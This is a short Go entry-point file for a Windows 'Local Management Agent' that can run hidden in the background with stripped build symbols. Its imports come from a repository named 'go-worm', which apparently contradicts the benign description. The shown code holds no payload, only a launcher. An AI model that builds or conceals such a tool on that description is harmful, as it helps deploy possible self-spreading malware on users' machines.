41 lines
855 B
Go
41 lines
855 B
Go
// Local Management Agent is a Windows-only, local network management helper.
|
|
//
|
|
// Build for Windows x64:
|
|
//
|
|
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe .
|
|
//
|
|
// A CMD window appears on launch. Use -background to start without a window:
|
|
//
|
|
// localagent.exe -background
|
|
package main
|
|
|
|
import (
|
|
"flag"
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
|
)
|
|
|
|
func main() {
|
|
background := flag.Bool("background", false, "run without a console window")
|
|
flag.Parse()
|
|
|
|
if *background {
|
|
if err := instance.Detach(); err != nil {
|
|
helpers.Log.Fatalf("%v", err)
|
|
}
|
|
return
|
|
}
|
|
|
|
a, err := agent.New()
|
|
if err != nil {
|
|
helpers.Log.Fatalf("%v", err)
|
|
}
|
|
defer a.Close()
|
|
|
|
if err := a.Serve(); err != nil {
|
|
helpers.Log.Fatalf("%v", err)
|
|
}
|
|
}
|